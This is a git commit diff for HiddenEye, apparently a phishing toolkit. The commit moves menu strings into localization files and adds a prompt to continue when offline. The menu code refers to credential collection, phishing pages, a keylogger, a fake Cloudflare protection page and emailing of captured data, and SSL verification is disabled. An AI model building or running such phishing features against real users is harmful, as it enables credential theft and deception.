Read description

Lots of changes. Many little bugs were fixed. If offline, a better prompt pops up giving the option to continue. All strings in feature_prompt have been moved to the localization folder.
pull/752/head
DarkMidus 2020-08-09 19:43:08 -05:00
parent 849566d506
commit 20ebbcc9c8
9 changed files with 97 additions and 33 deletions

View File

@ -584,4 +584,4 @@ def start_pagekite(port):
.format(port, subdomain))
except KeyboardInterrupt:
print("[!] Please Copy the Generated Link For Further Use")
credentials_collector(port)
credentials_collector(port)

View File

@ -4,13 +4,11 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import os
import time
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
from Defs.ImportManager.unsorted_will_be_replaced import path
@ -227,7 +225,6 @@ def start_main_menu():
lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page("LOCATION", customOption)
else:
start_main_menu()

View File

@ -97,7 +97,7 @@ def terms_of_service_message():
print(localization.lang_terms_of_service_message["GPL_3.0"])
print(
localization.
lang_terms_of_service_message["great_power_great_responsibility"])
lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.
lang_terms_of_service_message["do_you_accept_license"])
print(localization.
@ -213,7 +213,7 @@ def log_writer(ctx): # Writing log
logFile.write(
ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace(
default_palette[3], "").replace(default_palette[4], "") + "\n")
default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx)
@ -270,10 +270,31 @@ def verify_connection(
print(localization.lang_verify_connection["connected"])
pass
except:
print(localization.lang_verify_connection["disconnected"])
print(global_localization.hidden_eye_logo)
print(localization.lang_verify_connection["disconnected"])
print(localization.lang_verify_connection["verify_your_connection"])
exit()
print(localization.lang_verify_connection["continue_warning"])
print(localization.lang_verify_connection["continue_confirmation"])
internet_choice = input(global_localization.input_line).lower()
if internet_choice == "y":
pass
elif internet_choice == "n":
run_command("clear")
print(global_localization.hidden_eye_logo)
print(" " + global_localization.by_darksec)
print(" " +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"])
print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"])
exit()
else:
verify_connection()
def check_permissions():

View File

@ -1,34 +1,35 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.ImportManager.unsorted_will_be_replaced import run_command
import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.FeatureManager.keylogger as keylogger
from time import sleep
default_palette = theme.default_palette
def feature_prompt():
run_command("clear")
print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print(
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD LIKE TO USE. ]{1}!! {0}\n---------------------------------------------------------".format(
default_palette[0], default_palette[4]))
print("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2]))
print('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
option = input(
"\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2]))
print(global_localization.small_logo)
print(feature_localization.feature_prompt["feature_alert"])
print(feature_localization.feature_prompt["keylogger"])
print(feature_localization.feature_prompt["cloudfare"])
print(feature_localization.feature_prompt["email"])
print(feature_localization.feature_prompt["none"])
print(feature_localization.feature_prompt["example"])
option = input(global_localization.input_line).lower()
option.lower()
letters = ["a", "b", "c", "d"]
letters = ["a", "b", "c"]
for x in option:
if x in letters:
@ -38,4 +39,8 @@ def feature_prompt():
cloudflare.add_cloudfare()
elif "c" in x:
email_prompt.captured_data_email_configuration_prompt()
else:
print(global_localization.invalid_option)
sleep(3)
feature_prompt()

View File

@ -42,11 +42,17 @@ lang_verify_connection = {
_("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
default_palette[0], default_palette[2]),
"disconnected":
_("\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
_("\n{0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
default_palette[0], default_palette[2]),
"verify_your_connection":
_("\n{0}[{1}!{0}] Network error. Please verify your internet connection.").
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
format(default_palette[2], default_palette[0]),
"continue_warning":
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format(
default_palette[2], default_palette[0]),
"continue_confirmation":
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
default_palette[2], default_palette[0])
}
lang_module_loading_message = {

View File

@ -0,0 +1,29 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette
feature_prompt = {
"feature_alert":
_(
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(
default_palette[0], default_palette[4])),
"keylogger":
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])),
"cloudfare":
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])),
"email":
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])),
"none":
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])),
"example":
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
}

View File

@ -19,4 +19,11 @@ hidden_eye_logo = """
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
line_of_dots = '{0}...............................'.format(default_palette[0])
line_of_dots = '{0}...............................'.format(default_palette[0])
small_logo = '''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])
invalid_option = "Please choose a valid option."

View File

@ -25,11 +25,10 @@ if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
ssl._create_default_https_context = ssl._create_unverified_context
simple_informant.check_permissions()
simple_informant.verify_connection()
# verCheck() # For now it's useless, i'll rewrite it later, after release.
simple_informant.check_php()
# checkLocalxpose()
simple_informant.verify_connection()
# checkOpenport()
# checkPagekite()
# checkLT()

View File

@ -1 +1 @@
0.5.4
1.0.0